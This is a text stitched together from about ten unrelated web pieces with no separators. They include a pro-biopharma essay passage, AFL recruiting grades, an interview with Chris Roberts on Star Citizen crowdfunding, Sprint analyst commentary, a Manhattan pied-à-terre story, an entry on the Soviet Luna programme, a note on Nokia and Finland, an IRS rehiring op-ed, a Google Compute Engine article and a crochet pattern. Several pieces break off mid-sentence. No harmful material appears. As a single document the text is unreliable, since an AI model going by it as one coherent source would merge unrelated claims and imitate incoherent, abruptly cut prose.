We need only look to the past to understand what progress can be made. Too often, we discount the ingenious tools for preventing, treating, and curing diseases that have made America and the whole world richer.⁸ Over the last hundred years, advancements in medicine, particularly perinatal care, vaccines, and antibiotics, as well as hygiene and nutrition contributed to the nearly 30 years added to the average American’s life expectancy.⁹ Over the same period, global life expectancy doubled.¹⁰ Quality of life also improved with groundbreaking treatments for heart disease, pain, diabetes, and many other conditions.¹¹
Cholesterol-lowering statins have contributed to the 50% decrease in death from both heart attacks and strokes throughout the developed world over the last few decades. When Pfizer’s patent on the best-selling statin Lipitor expired and generic versions entered the market, the price quickly dropped by 95% of the initial cost and has remained comparatively negligible ever since.¹² Gleevec, a highly successful drug that restores many years of life to patients suffering from chronic myelogenous leukemia (CML) and other cancers, has also recently gone generic, resulting in its price trending steadily downward. Today, our generic drug armamentarium includes treatments that manage blood pressure (ACEs, ARBs), cholesterol (statins, fenofibrate), diabetes (metformin, insulin), migraines (triptans, acetaminophen, NSAIDs), inflammation (steroids, methotrexate, 5-ASAs), chronic pain (gabapentin, tramadol), depression (SSRIs), schizophrenia (atypical antipsychotics), heartburn (H2 blockers, PPIs), hypothyroidism (levothyroxine), infections (antibiotics), enlarged prostate (alpha-blockers), insomnia (sedatives), ADHD (stimulants), Parkinson’s (dopaminergics), and cancers (anti-estrogens, anti-androgens, chemotherapies), as well as treatments that prevent heart attacks and strokes (blood thinners, anti-arrhythmics, beta-blockers). These represent just a glimpse of the medicines that biopharma can offer to humanity in this century if we continue to fuel and incentivize this industry.
The collective armamentarium of branded drugs will mostly be generic within 10–15 years and will add to our high-value, low-cost arsenal. These include better treatments for many of the conditions mentioned above as well as breakthrough therapies or cures for cystic fibrosis, HIV, hepatitis C, and many cancers. Yet so many problems remain to be solved. We must discover how to treat and cure diseases that run from uncomfortable to excruciating to devastating. Initially expensive, these drugs will soon enough go generic and join our growing mountain of cost-effective medications.¹³
Branded drugs are worth the cost
Branded drug expenditures represent 1.8% of the US GDP.¹⁴ That’s a little more than a tenth of total healthcare spending and less than the 2.4% of GDP spent by the US government on roads, drinking water, and wastewater infrastructure, which few dispute as necessities worthy of investment.¹⁵ But because health insurance plans, including Medicare, engage in aggressive cost-sharing requiring co-payments as high as 20% of the price of a drug, vulnerable patients disproportionately carry the burden of building our common stockpile of generic treatments.¹⁶
Increased infrastructure investment stands as one of the last few areas of clear bipartisan agreement.¹⁷ We know that we need functional roads and water and sewage treatment facilities. We may even know that infrastructure spending will result in more jobs when Americans fix our roads and bridges |
the Demons were about Brayshaw, the season-ending injury to Petracca (No.2) was a major setback. Alex Neal-Bullen (No.40), Billy Stretch (No.42) and Oscar McDonald (No.53) also played some senior football in the back half of the season. Aaron vandenBerg was a revelation as a rookie selection and has been upgraded to the primary list permanently, while fellow rookie Mitch White played one match in round 23.
Overall rating: B+
Petracca's knee injury meant the Demons did not get to see the best of him, but their other youngsters are bubbling along nicely. The Demons were hit and miss with their trade acquisitions. – Ben Guthrie
Angus Brayshaw and Aaron vandenBerg were both success stories in their debut years. Picture: AFL Media
The Roos had dual goals in last year's player movement period – topping up with class for a premiership tilt and continuing to bring in youth. North secured Jarrad Waite and Shaun Higgins via free agency and then went to the draft with three picks.
Trade
Levi Greenwood's trade to Collingwood didn't work out as planned for either team in 2015. The Roos used the second-round draft pick they received on Daniel Nielson, who then ruptured his ACL in pre-season, while Greenwood struggled at the Pies due to a leg injury. The Roos might have dodged a bullet with ex-Dog Adam Cooney, who had limited impact for Essendon, although they missed out on Travis Varcoe, who was outstanding for Collingwood after switching from Geelong.
Free agency
Hindsight says the Roos were big winners from free agency after somewhat risky bids for Jarrad Waite (Carlton) and Shaun Higgins (Western Bulldogs). Waite starred during finals, while Higgins was named in the All Australian squad of 40 for the first time and was arguably the recruit of the year.
Draft
It was a nightmare first season for Sam Durdin (shoulder), Daniel Nielson (knee) and Ed Vickers-Willis (shoulder), none of whom played a senior game after suffering season-ending injuries early in the year. Rookies Will Fordham and Bradyon Preuss are coming along nicely.
Overall rating: B+
Waite and Higgins were outstanding contributors, but not getting any AFL match experience into their draftees was a disappointing result. – Travis King
The Power viewed their list as one that could contend for a premiership and made the move to bring in Patrick Ryder from Essendon as the defining move of last year's trade period.
Trade
Port gave up its first and second-round picks to acquire Ryder in a trade with Essendon. It took the former Bomber big man a while to find his feet, as he competed with Matthew Lobbe for time in the ruck. However, he played his best footy later in the year when given sole responsibility of the ruck position.
Free Agency
The Power did not recruit a player via free agency.
Draft
Giving up so much for Ryder, the Power had picks in the later-rounds of the draft: Dougal Howard (pick No.56), Logan Austin (No.69), Jesse Palmer (No.78) and Billy Frampton (No.84). The trio did not play a senior game in 2015, but Port was clearly focused on playing its established players. Nathan Krakouer was a more-than handy pick up in the rookie draft, playing 14 games for the season.
WATCH: The Wash-Up - Ryder didn't work out for Port
Overall rating: C
Ryder's impact was not quite realised in his first season at the club and the ruckman and the Power will be keen to atone for a modest showing when they get on the field in 2016. - Ben Guthrie
Paddy Ryder struggled for much of the year but found time to torch his old club. Picture: AFL Media
The Tigers had another crack at bolstering their list with tried talent but didn't go as hard as they have in previous years, with Taylor Hunt the only established player to head to Punt Road.
Trade
They were quiet on the trade front although made a move on Melbourne midfielder Jack Trengove. A failed medical, which led to Trengove undergoing further surgery on his foot before he missed the entire 2015 season, thwarted that action. Jason Winderlich was linked to the Tigers, but re-signed with Essendon – and they dodged a bullet there, with the veteran restricted to one game - and there were enquiries about David Armitage but talks didn't progress far after they were informed the contracted midfielder had no interest in leaving St Kilda.
Free Agency
Hunt became a Tiger as a delisted free agent after 63 games at Geelong. Played every game in his first season at Richmond and proved a versatile addition with scope to play a role, across half-back or through the midfield. The club was clearly impressed with what he contributed in his first year and extended his contract by two seasons until the end of 2017 in August.
Draft
They mainly went for midfield depth in the national draft with Corey Ellis spearheading the haul. Ellis was cut down with a pre-season foot injury and a mid-year hip problem, and played six senior games before further foot surgery ended his season in July. Kane Lambert was the pick of their new rookies, playing 13 games after arriving as a mature-age midfielder.
Overall rating: B
Didn't see much of the draftees, Lambert aside, with injury cruelling Ellis, Nathan Drummond and Dan Butler as the Tigers' line up became hard to break into. Hunt was a tick and Ellis will be good with the others to get more of a chance next year after overcoming body stuff. - Jennifer Phelan
The Saints put the No.1 pick on the table but weren't tempted by four packages of draft selections to deal and they used it on Paddy McCartin. Saw Rhys Stanley off to Geelong, which netted them a second first-round pick, and took a punt on one delisted free agent.
Trade
Missed out on Jono O'Rourke and Kristian Jaksch but Stanley to the Cattery benefitted both parties, with the ruckman showing good signs before a foot injury. In exchange, the Saints got pick No.21 from the Giants, via the Lions and Cats on-trades, which they used on Hugh Goddard. The key position prospect played eight games and showed glimpses of promise down back and later in attack.
Free Agency
Let James Gwilt go to Essendon as an unrestricted free agent but didn't get any compensation. Added to their forward line dimension by recruiting Sydney Swans' forward Tim Membrey as a delisted free agent, who had some impressive moments in his 12 games as a third forward and brought something new to their attacking mix.
Draft
Moved to address a variety of needs with a key forward, key back, midfielder (Daniel McKenzie) and small forward (Jack Lonie) – all of which played in their first season, with their No.41 pick Lonie the most prolific with 17 games. Top rookie pick Jack Sinclair was another revelation with 18 games while Lonie benefitted from close tutelage from the now-retired Adam Schneider.
Overall rating: A
Kept their big pick, landed another, and addressed a handful of requirements with players who all showed positive signs in their first year. - Jennifer Phelan
Hugh Goddard showed plenty in the back half of the season to suggest a strong future. Picture: AFL Media
It was a very quiet trade period for the Swans because of the restrictions placed on them by the AFL. The draft, however, was where they had a huge windfall, securing their academy selection Isaac Heeney with pick 18. A year on, that pick looks to be the biggest bargain since Nat Fyfe.
Trade
The AFL's shock trade ban, and the decision to phase out the cost-of-living-allowance, meant the Swans' hands were tied during this window. They lost Nick Malceski (a restricted free agent) to the Suns, Tim Membrey (who was delisted because a trade could not be worked out with St Kilda), and Shane Biggs (who went to the Bulldogs). Lewis Roberts-Thomson and Ryan O’Keefe (both retired) were the other notable departures.
Free Agency
Losing Malceski appeared to be the big loss for the Swans but the All Australian's output in 2015 was poor and the Swans' defence functioned OK without him. The compensation pick for Malceski was not great but he is over 30 with a history of knee injuries. The Swans were forced to experiment across half-back and Zak Jones (the brother of Melbourne's Nathan) received more game time which was a positive.
Draft
Isaac Heeney burst on the scene and was quick to impress. He played 14 games (out of 24) and would have played more if not for a PCL injury. He looks destined to become a bonafide star and his contested marking and goal sense was a feature in 2015. It is highly possible we will become the best pick of his draft year. The Swans used pick 38 on academy selection Jack Hiscox and pick 37 on James Rose. Hiscox – a running machine – is yet to debut. Rose made a stunning entrance to the AFL with a three-goal quarter in his first game. The versatile Abe Davis was the Swans' third academy selection – No.70 overall. Like Hiscox, he’s yet to debut.
Overall rating: B
The grade clearly seems overs but it is based on one thing … or one person. Isaac Heeney. The Swans may have had the shackles on when it came to trading but it's quite possible they walked away from a difficult year with the game's next superstar (and I’m not using that word flippantly). – Cameron Noakes
The Eagles went in with a clear strategy to build for the future rather than recruit for the here and now. They worked quietly during the trade period, enquiring about Travis Varcoe and Allen Christensen but did not make bold moves. They instead went to the draft and found some impressive young players.
Trade
The Eagles had done well in the previous few trade periods picking up Sharrod Wellingham, Jamie Cripps and Elliot Yeo but they were not as active last season. They did not get heavily involved in many negotiations and ultimately did not trade anyone in or out.
Free Agency
The Eagles picked up Xavier Ellis as a free agent at the end of 2013 but were not active in searching for another free agency recruit last year.
Draft
The Eagles were delighted with what they were able to do at the draft table. They recruited Liam Duggan and Jackson Nelson who both played more than 12 games this season and are set for big futures. Tom Lamb is also an exciting key position prospect and the Eagles are positive about Damien Cavka and Alec Waterman despite both having injury issues.
Overall rating: B
At the time it appeared as if the Eagles might have missed a trick by not being more active in the trade period but they trusted their development team and drafted well. - Alex Malcolm
Provided the headlines of the trade period with the Tom Boyd-Ryan Griffen swap and saw another few players – including a Brownlow medallist – head out the door as uncertainty with the coaching situation stretched into November.
Trade
Missed on Levi Greenwood but sent Griffen and pick No.6 to the Giants for Boyd. There's no doubt Boyd will be a key player but his debut season as a Dog underwhelmed as he finished the year in the VFL. Shane Biggs looked good late in the year in defence, while the picks they brought in netted Declan Hamilton and Caleb Daniel, with the former essentially obtained via a trade for Adam Cooney and the latter – who showed promise as an impact player – recruited with the pick traded for Liam Jones.
Free Agency
They were busy at the trade table with picks flying around – especially when it came to the Cooney deal with the Swans involved in trading selections – but had time to decide on delisted free agent Joel Hamling, who had some solid defensive performances in his 11 games. Shaun Higgins went to North Melbourne, which provided a second-round pick used on Lukas Webb, who looked good in 10 games.
Draft
They went for smaller types and did well with their picks, with all but Hamilton making their AFL debuts. Bailey Dale, Webb and Daniel played 10 games each in a year the Dogs played a final, and rookie Roarke Smith pushed in for his debut in round 21, which is also promising for their future.
Overall rating: A
Didn't make an immediate impact but Boyd is their future and is locked down until 2021, while their draftees were able to consistently play despite the team's good form. - Jennifer PhelanChris Roberts has an atypically successful crowdfunding story -- but then again, as the creator of Wing Commander, he has an atypically successful career. As of this writing, his Star Citizen crowdfunding campaign has pulled in almost 20 million dollars, largely via his site, not Kickstarter.
Roberts did run a Kickstarter campaign -- which pulled in over 2 million dollars. It was, however, never part of his plans. "Basically, we actually started on our own," Roberts tells Gamasutra. "The whole idea was to build a community of space sim fans."
"I think we had about 30-odd thousand people sign up before they even know what I was going to announce," Roberts says. "The idea was to build a community for people that liked that kind of game, and then I didn't feel like they then wanted to have to go somewhere else to log in, give credentials somewhere else to give money. We were always intending to do our own crowdfunding."
Community was always his goal; the problem was that though he'd spent a year prototyping Star Citizen, its website was "hacky crap" and crashed on launch.
Still, he has little to regret now, and it goes without saying that Roberts is a huge proponent of crowdfunding. In this conversation, which took place at this year's Gamescom, he has nothing but positive things to say about it.
You may be surprised to hear that crowdfunding his project wasn't always his goal. Roberts' plans have shifted as he observes and reacts to trends among players and backers. Importantly, he now sees it as the only way he'd want to go, having both worked with traditional publishers and sought outside investment. Why? It frees him from meddling and distraction. He can make the game that he and his fans want.
Of course it's true that his success comes thanks to his previous games -- Wing Commander, Privateer, and Freelancer. But a built-in fan base is far from all that has carried him this far. In this interview, Roberts offers his insights into community building and crowdfunding, lessons useful to developers big and small.
Roberts' Community-Driven Crowdfunding Essentials
Having had so much success, Roberts has some tips on how to do it right. One thing he is adamant about is that since you have to build your own site sooner or later, why not do it from the off?
"Kickstarter is very good for the community right at the beginning, but then afterwards you've got to have a solution, because it's not really a great place to interact. It doesn't have forums," Roberts says.
There's also no way to bring in new fans (and their contributions) if your campaign is over. "Our solution was always to have a place for the community to hang out, first and foremost. For them to get information about the game, to share how it's getting done. They would also be able to back the game, and new people would be able to come into it," Roberts says.
He also thinks that offering many physical rewards is largely an unnecessary complication. "Most people, when you back games, it's not really about the physical goods. It's about backing the game. They're actually quite happy to be backing this game they've missed for awhile, and the money's less of an issue. It's more of an issue of them having fun," he says.
That sense of "fun" is why Roberts goes primarily for in-game rewards. The first piece of the game that Roberts is distributing to fans, the Hangar Module, is affected by pledge level. Those who back at higher tiers get more ships and a bigger hangar.
"I would say that one of the reasons why we've raised this much money is that we've sort of gamified the backing," notes Roberts.
And while many crowdfunded games start from zero, Roberts suggests avoiding that if at all possible. Prepare as best as you possibly can. He spent a year doing a technical prototype -- though this is largely thanks to the fact that he was originally planning on seeking traditional investment.
"I actually wanted to work out all the issues. I wanted to scope it. I didn't want to just say, 'Oh, I can make this game!' I did a lot of my homework it was going to take, what budget, what engine I was going to use."
In the end, however, his efforts in pre-Kickstarter community building and pre-funding scoping and prototyping allowed him to launch his campaign to a massive response.
There's also one other very tangible result of running your own crowdfunding effort: "we're capturing 97 percent of the dollars that come in, because all we do is pay a fee to the credit card provider and PayPal," says Roberts.
...And His Incredible Results
Taken all together, Roberts has managed to build a huge, engaged community and link it into his funding efforts. The symbiotic relationship with his community has fundamentally changed Roberts' plans for developing and releasing his game.
Why? "Because I feel that people have given their money to this dream, helping me make the game I want to make, my dream game," says Roberts. "I think it's their dream game too. So I want to make sure they're constantly updated, seeing it, getting involved. Because that's the spirit -- for me, the spirit of crowdfunding is participation. The power."
Originally, Roberts wanted to pull a page from Minecraft's book, and have players pay for an alpha -- "like two years out," he says. But having an audience created a drive to "constantly show them what's happening. I think everything that's happening is cool, so I like to show it off."
His backers let Roberts build a game on his own terms, and he wanted to give them a peek behind the curtain.Analysts react to Sprint’s improving performance; not all are convinced
Sprint made a big impression on Wall Street this week, convincing some of its critics it is indeed moving in the right direction. The nation’s No. 4 carrier in terms of customer base reported 173,000 postpaid net phone additions, more than twice as many as larger rival Verizon Wireless. The company also hinted the deep discounts it has been offering customers may soon be history.
Analysts are divided on the outlook for Sprint. Wells Fargo’s Jennifer Fritzsche thinks Sprint will soon be able to increase prices “as a result of improved brand image and network quality.” Sprint’s network quality is closely tied to its LTE Plus initiative, which includes carrier aggregation. This year Sprint expects to roll out three-carrier aggregation, which could enable peak speeds of up to 200 megabits per second for smartphones that can aggregate three spectrum carrier channels.
“We believe there is high likelihood the new iPhone 7 will have [three-carrier aggregation] capabilities, which could be a significant game changer for Sprint customers and their experience on the Sprint network,” said Fritzsche, who added Sprint already has five non-iPhone devices on its network that support three-carrier aggregation.
Fritzsche expects Sprint to outperform the market, and attributed much of this week’s increase in the stock price to purchases made by short sellers who appear to finally be convinced the stock is set to trade higher in the months ahead.
Racing the clock?
Some of Sprint’s naysayers remain unconvinced by this week’s news. Craig Moffett of MoffettNathanson is still telling investors to sell Sprint, which he values at roughly $2 per share. Moffett points out that handset financing plans artificially inflate operating income for all the wireless carriers, and Sprint’s reliance on lease plans gives it the most distorted financials among the mobile operators.
“Without the artificial boost that comes from counting lease revenues while excluding their associated handset costs, Sprint’s wireless business is currently trading at 6.5x trailing twelve months [earnings before depreciation, interest and taxes],” said Moffett. “Their ‘real’ EBITDA growth is still negative, [average revenue per user]is still falling (albeit now at a slower pace), and free cash flow remains negative despite exceedingly low capital spending.”
Sprint’s “exceedingly low capital spending” is likely to be the key to its future. If the carrier can continue to improve network performance without making large investments, cash flow is likely to turn positive. Sprint foresees a faster, more reliable network winning more customers and boosting revenue, while modest capital spending helps keep costs under control. The carrier wants to densify its LTE network through a series of small cell deployments, which it says will be less expensive than macro site builds.
Sprint reported total capital expenditures of just $473 million during the most recent quarter. T-Mobile US reported $1.4 billion for its wireless network, and the two largest carriers invested even more, but do not typically separate investment in their wireless networks from investment in their wireline networks.
“Sprint’s capital spending speaks to the tightrope the company is walking,” said Moffett. “They are trying to restore a company to growth (even with positive subscriber growth, core wireless service revenues are still down 6.9% year on year) while simultaneously husbanding cash to stave off insolvency.”
But Moffett admits Sprint’s subscriber numbers are markedly improved and that the outlook for the carrier is less bleak than it was earlier in the year. Moffett said the No. 1 question investors should be asking about Sprint is “what is a reasonable level of capital intensity?”
The answer to that question has everything to do with how efficiently Sprint can deploy its limited capital. Carrier aggregation and small cell densification are two technologies that could make the difference for Sprint. Carrier aggregation can often be implemented at a cell site by replacing network cards as opposed to adding new radio equipment, meaning it’s less expensive than some other types of network upgrades. Small cell sites can be much less expensive than new macro sites, and can often target dense areas more efficiently, but the small cell cost savings can evaporate when zoning and permitting disagreements lead to litigation or fines.
Follow me on Twitter.“Many of these buildings were built or converted in the 1980s, and are largely made up of smaller apartments, such as studios and one-bedrooms,” said Jonathan J. Miller, the president of the appraisal firm Miller Samuel. “The smaller the apartments, and the more smaller apartments there are, generally the higher the pied-à-terre factor.”
And perhaps surprisingly, the data indicated that “the vast majority of pieds-à-terre are middle class,” Mr. Miller said. “They are owned by people who have a studio in the city and a home in the suburbs, or maybe it was their first apartment that they chose to keep and rent it out.”
That’s what Swarna Kuruganti did. In January 2008, she bought an apartment at Madison Green, a towering complex at 5 East 22nd Street. The 424-unit building is a block from Madison Square Park, and the subway is just steps from the front door.
Image CitySpire, at 150 West 56th Street, is one of the least occupied buildings in Manhattan. Credit Joshua Bright for The New York Times
“I had been looking to buy for several years and had built up savings, and even though it was the peak of the real estate market, I signed the deal,” said Ms. Kuruganti, who purchased a one-bedroom on the 26th floor, with views of the Empire State Building.
At the time, Ms. Kuruganti was single and working as a management consultant, which involved a lot of travel. “I wasn’t really home other than two or three months a year,” she said. “I would come home on the weekends, but on Monday morning I would be back on the plane.” She knew her neighbors well enough to say hello as they passed in the hall, “but these high-rises are like mini cities, with so many apartments and so many people. It is like a world unto its own,” she said.
After three years of living at Madison Green, Ms. Kuruganti met the man who became her husband, and they moved to Bloomfield, N.J. She debated selling the apartment, but “it was my first real estate investment, and all the people I talked to swore it was a good investment and told me I should keep it.” So Ms. Kuruganti, who is a founder of the start-up Wellwatch.co, began renting it out.
“The monthlies are low, partly because the building has so many apartments, and it is a great location, very central,” said Nathaniel Faust, the associate broker at Citi Habitats who helped Ms. Kuruganti find her current tenants, who pay $4,500 a month in rent. “Since the common charges and real estate taxes are low, Swarna can cover her monthlies and then some with the rent, so it is doing very well for her.”For the active programme, see Luna-Glob
The Luna programme (from the Russian word Луна "Luna" meaning "Lunar" or "Moon"), occasionally called Lunik or Lunnik by western media, was a series of robotic spacecraft missions sent to the Moon by the Soviet Union between 1959 and 1976. Fifteen were successful, each designed as either an orbiter or lander, and accomplished many firsts in space exploration. They also performed many experiments, studying the Moon's chemical composition, gravity, temperature, and radiation.
Twenty-four spacecraft were formally given the Luna designation, although more were launched. Those that failed to reach orbit were not publicly acknowledged at the time, and not assigned a Luna number. Those that failed in low Earth orbit were usually given Cosmos designations.[2] The estimated cost of the Luna programme was about $4.5 billion.
Achievements [ edit ]
Luna 1 (January 1959) missed its intended impact with the Moon and became the first spacecraft to fall into orbit around the Sun.
Luna 2 (September 1959) mission successfully hit the Moon's surface, becoming the first man-made object to reach the Moon.
Luna 3 (October 1959) rounded the Moon later that year, and returned the first photographs of its far side, which can never be seen from Earth.
Luna 9 (February 1966) became the first probe to achieve a soft landing on another planetary body. It returned five black and white stereoscopic circular panoramas, which were the first close-up shots of the Lunar surface.
Luna 10 (March 1966) became the first artificial satellite of the Moon.
Luna 17 (November 1970) and Luna 21 (January 1973) carried the Lunokhod vehicles, which roamed around on the Moon's terrain.
Another major achievement of the Luna programme, with Luna 16 (September 1970), Luna 20 (February 1972) and Luna 24 (August 1976), was the ability to collect samples of lunar soil and return them to Earth. The programme returned 0.326 kg of lunar samples. The Luna missions were the first space-exploration sample return missions to rely solely on advanced robotics.
Other notable missions [ edit ]
Luna 15 (July 1969), also designed to return soil samples from the lunar surface, underwent its mission at the same time as the Apollo 11 mission. Neil Armstrong and Buzz Aldrin were already on the lunar surface when Luna 15 began its descent, and the spacecraft crashed into a mountain minutes later.
Failed missions [ edit ]
While the programme was active, it was Soviet practice not to release any details of missions which had failed to achieve orbit. This resulted in Western observers assigning their own designations to the missions, for example Luna E-1 No.1, the first failure of 1958 which NASA believed was associated with the Luna programme was known as Luna 1958A.[3]
NASA identified a spacecraft which it referred to as Luna 1966A as having launched on 30 April 1966, a spacecraft referred to as Luna 1969B as having launched on 15 April 1969, and a spacecraft referred to as Luna 1970B as having launched on 19 February 1970.[3] When details of Soviet launches were later disclosed, no launches of Luna spacecraft were found to have occurred on those dates.[4][5]
Missions [ edit ]
See also [ edit ]NOKIA contributed a quarter of Finnish growth from 1998 to 2007, according to figures from the Research Institute of the Finnish Economy (ETLA). Over the same period, the mobile-phone manufacturer’s spending on research and development made up 30% of the country’s total, and it generated nearly a fifth of Finland’s exports. In the decade to 2007, Nokia was sometimes paying as much as 23% of all Finnish corporation tax. No wonder that a decline in its fortunes—Nokia’s share price has fallen by 90% since 2007, thanks partly to Apple’s ascent—has clouded Finland’s outlook.
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Are any other economies so reliant on one company? The researchers at ETLA calculate Nokia’s value-added to work out its importance to Finland, but such data are not widely available. A look at firms’ sales as a percentage of GDP (see table) offers a cruder indication of clout. We used the Dow Jones Global Index to identify firms whose revenues ranked highest in the country of their listing.
Firms like ArcelorMittal, Essar Energy and China Mobile make the top ten because of their choice of domicile; their economic activity mainly takes place elsewhere. Oil-and-gas firms feature heavily, although that may simply show that certain economies are dependent on a certain type of activity rather than a specific firm. Lower down the list the presence of Sands China, a casino developer and operator whose sales are 13% of Macao’s GDP, reflects the importance of gambling to the territory.
Strip these sorts of firms from the list and only one resembles Nokia: Taiwan’s Hon Hai, an electronics manufacturer. Yet Nokia made 27% of Finnish patent applications last year; the corresponding figure for Hon Hai was 8%. Although numbers are falling, Finland is home to the greatest number of Nokia employees; Hon Hai’s staff is mostly in China. It is a similar story with other firms. Sales of Nestlé, a consumer-goods company, weigh in at 15% of Swiss GDP but its share of Swiss jobs is punier than Nokia’s in Finland. Samsung, whose revenues are twice Nokia’s, has half its clout as a share of GDP: South Korea’s economy is more diversified. The importance of Nokia to Finland looks like a one-off.ANALYSIS/OPINION:
Would you hire someone who had falsified documents or been convicted of theft? Probably not. But then again, you’re not the Internal Revenue Service (IRS).
Yes, according to an inspector general’s report, the agency in charge of collecting your tax dollars and safeguarding your private information has rehired 213 employees guilty not only of the offenses mentioned above, but also of dodging taxes and of making unauthorized use of taxpayer information.
Not one or two, which would be bad enough. More than 200. Small wonder that lawmakers determined to clean up the agency have faced such an uphill battle.
“Given the substantial threat of identity theft and the magnitude of sensitive information that the IRS holds, hiring employees of high integrity is essential to maintaining public trust in tax administration and safeguarding taxpayer information,” the report says.
And yet between January 2015 and March 2016, the IRS saw nothing wrong with, for example, rehiring 86 employees who had left the agency “while under investigation for absences and leave, workplace disruption, or failure to follow instructions.”
And those are the lighter offenses. How do you feel about having your personal data in the hands of employees under investigation for unauthorized access of taxpayer information? These are the best people they can hire?
The agency’s record of targeting conservative groups during the Obama administration makes even more sense now. So does the fact that past studies have shown that, depending on who picks up when you call to ask tax questions, you can get different answers from different people.
This isn’t the first time the IRS has been criticized for doing this. Indeed, early in 2016, four Republican senators introduced a bill designed to keep the IRS from rehiring former employees with disciplinary records.
“Common sense would suggest that an employee who was fired for misconduct or poor performance shouldn’t be hired back, but the IRS‘ outrageous and bewildering behavior continues to defy logic,” said Sen. Mike Enzi, Wyoming Republican.
Indeed it does. “People are policy,” as President Reagan used to say. In other words, you can’t expect any agency to behave better than the people who work in it. They, in effect, set the policy by their behavior, regardless of what is written down. IRS Commissioner John Koskinen doesn’t seem to realize that.
There are, of course, plenty of good people who work for the IRS. No one is claiming that every last one is a questionable rehire. But when you take on such a large number of employees with serious performance issues and other problems, it’s bound to have a negative effect on how your agency is run.
This would be a bad idea even if your agency enjoyed a good reputation. But we’re talking about the IRS here. It’s already a powerful agency that many Americans regard with a special kind of dread. Add in the way it’s been used as a political weapon over the years.
And now we find that our sensitive personal information may be in the hands of people who have shown they really can’t be trusted with it?
“I don’t know why President Trump hasn’t fired John Koskinen since there is more evidence the agency is mismanaged,” said Peter Flaherty, president of the National Legal and Policy Center, a conservative government watchdog group.
“Koskinen is a very typical Washington creature and is very at home in the swamp,” Mr. Flaherty added in an interview with Fred Lucas of the Daily Signal. “It’s a puzzle to me why Trump hasn’t acted.”
One thing is for sure: The IRS needs to do better. Much better. Not hiring people with major blemishes on their record would be a good place to start.
• Ed Feulner is founder of The Heritage Foundation (heritage.org).
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Google has finally opened up its new cloud-computing service to business and individual customers everywhere—which looks to be great news for them, and potentially real trouble for current cloud leader Amazon.
In much the same way that Microsoft long ago became the de facto standard for PC software at the expense of IBM, Google is angling to upend the market for cloud computing by making it widely available, easy to use and inexpensive. On Monday, it formally unveiled the Google Compute Engine services it launched for developers a year and a half ago, and which had remained in “developer preview” ever since. Google’s service competes directly with Amazon’s cloud computing platform, dubbed Elastic Compute Cloud or EC2.
Cloud-based services became popular in the late 2000s as start up companies and small businesses looked for ways to avoid buying thousands of computer servers and services contracts. Business divisions most likely using cloud services today include human resources, payroll, marketing, sales, and product development.
See also: Google Compute Engine A Direct Challenge To Amazon Web Services
The benefit of these computing services is that the average worker, with little or no knowledge of Internet infrastructure, can build applications, host them, manage them, and automatically send them to tens of thousands of people, with little more than a credit card. Snapchat, the photo sharing site that recently spurned a Facebook takeover, processes 4,000 images every second using Google’s Compute Engine, for example. This with only 30 employees and no physical data center.
By making cloud services accessible to more people in a technology process that they understand, Google is hoping to follow in the footsteps of Microsoft, who simplified business software, made it easy to interact with, and available with a nominal purchase of a license or CD.
Working Against The Tide
Amazon was one of the first cloud services for business and continues to dominate the hearts and minds of business people. Current forecasts suggest Amazon will pull in more than $3 billion in revenue just for its cloud computing division.
See also: AWS Now Five Times The Size Of Other Cloud Vendors Combined
Google has spent $2.9 billion on hardware alone to get its service up and running. The company says it designed its Compute Engine to be simple enough for people to understand and manage, much the same way they manage their Gmail accounts, upload videos to YouTube, and share files within Google Drive.
To entice business people to use its Compute Engine, Google is offering a 10% discount for standard services; support for more Linux operating system types; and improvements to its maintenance services including an “automatic restart” feature should there be a major catastrophe.
In addition to Snapchat, Google says it is working with other companies such as Cooladata, Mendelics, Evite and Wix to allow them to build their own applications and make sure there are enough servers to go around should they become massively popular.
Google has also gained allies in cloud services providers like SaltStack,Wowza,Rightscale,Qubole,Red Hat,SUSE, and Scalr.
From Zero To 1,000 In Less Than 3 Minutes
Previously, critics praised Amazon’s cloud service over Google’s as more reliable, easy to pay for, and quick to get up and running. Side-by-side comparisons by Sebastian Standil’s team at Scalr and Stuart Miniman, analyst and researcher at Wikibon are starting to tell a different story. In an article earlier this year, Standil wrote:
Amazon has been plagued by poor network and disk performance, so Google’s promise to offer both higher and more consistent performance struck a real chord, Not ones to be fooled by marketing-driven, hyped-up software, we applied for early access and were let in so we could start testing it ourselves. Once we got in, we felt like kids in a candy store.
Standil’s group is in the process of “refining” its benchmarks, and notes in an update that with the tentative new benchmarks, Google’s “performance difference is less significant, and in some cases AWS may hold a lead.” Whatever you make of that, it’s |
1; (44)
14. SC x 44; join then CH 1; (44)
15. SC x 44; join then CH 1; (44)
16. SC x 10, INC, SC x 11; repeat; join then CH 1 (46)
17. SC x 46; join then CH 1 (46)
18 – 20. repeat round 17 for rounds 18 through 20; (46)
21. SC x 11, INC, SC x 11; repeat; join then CH 1 (48)
22. SC x 48; join then CH 1; (48)
23 – 24. repeat round 22 for rounds 23 and 24; (48)
25. SC x 23, INC; repeat; join then CH 1; (50)
26. SC x 50; join then CH 1; (50)
27. repeat round 26 four this round; (50)
28. SC x 12, INC, SC x 12; repeat; join then CH 1; (52)
29. SC x 52; join then CH 1; (52)
30. SC x 52; SL ST then SL ST around the edge to strengthen the edge. (52 not including SL STs)
Straw (made in joined rounds so that the rounds are complete and symmetrical, pink)
CH 2 or Magic Ring or start however you like.
1. SC x 6; join then CH 1; (6)
2 – 15. repeat round 1 for rounds 2 through 15; (6)
Wire the straw and anchor the wire to the lid so the straw can be posed, then stitch the straw to the lid.
Hands (make 2, bright yellow)
CH x 5
1. DC then CH and SL ST in same place; repeat in the next 3 stitches then finish off leaving a long tail for stitching to the cup.
Reinforce the cup with plastic canvas to ensure it does not puff out or get rounded. Stuff then stitch lid to cup.
Meatwad
Lumps
Meatwad’s lumps are made using a modified popcorn stitch. Put them wherever you wish, replacing any single crochet stitch with a popcorn stitch lump. Because the lumps look best applied unevenly throughout Meatwad, add them as you go in a way that looks good to you. Lumps are optional but he doesn’t look very much like Meatwad without them.
To make a lump:
DC twice in the same stitch. After the second DC is completed, remove your hook, pop it through the first DC then back through the loop and pull the loop through that first DC.
Meatwad body (made in a spiral)
CH 2 or Magic Ring or start however you like.
1. SC x 8; (8)
2. INC x 8; (16)
3. SC then INC; repeat 7 more times; (24)
4. SC then INC then SC; repeat 7 more times; (32)
5. SC x 3, INC; repeat 7 more times; (40)
6. SC around; (40)
7 – 13. repeat round 6 for rounds 7 through 13; (40)
14. SC x 3, INVDEC; repeat 7 more times; (32)
15. SC, INVDEC, SC; repeat 7 more times; (24)
16. SC, INVDEC; repeat 7 more times; (16) stuff
